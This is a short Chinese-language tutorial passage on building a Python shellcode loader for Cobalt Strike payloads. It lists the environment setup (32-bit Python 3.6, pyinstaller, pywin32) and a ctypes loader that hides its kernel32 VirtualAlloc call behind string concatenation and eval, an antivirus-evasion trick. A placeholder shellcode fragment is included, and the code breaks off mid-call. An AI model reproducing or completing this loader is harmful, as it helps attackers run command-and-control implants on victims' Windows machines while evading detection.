环境
使用python版本为python3.6 32位版本,64位版本测试会报错。
安装pyinstaller,pywin32
pip3 install pyinstaller
pip3 install pywin32
生成shellcode
使用cobalsstrike生成c语言shellcode。
使用shellcode loader加载shellcode
#!/usr/bin/python3
import ctypes
#shellcode 放这个位置
c = b"\xfc\xe8\x89\x00\x00\x00\x60\x89";
shellcode = bytearray(c)
a = 'ctypes.windll.' + 'kernel32.VirtualAlloc'
ptr = eval(a)(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),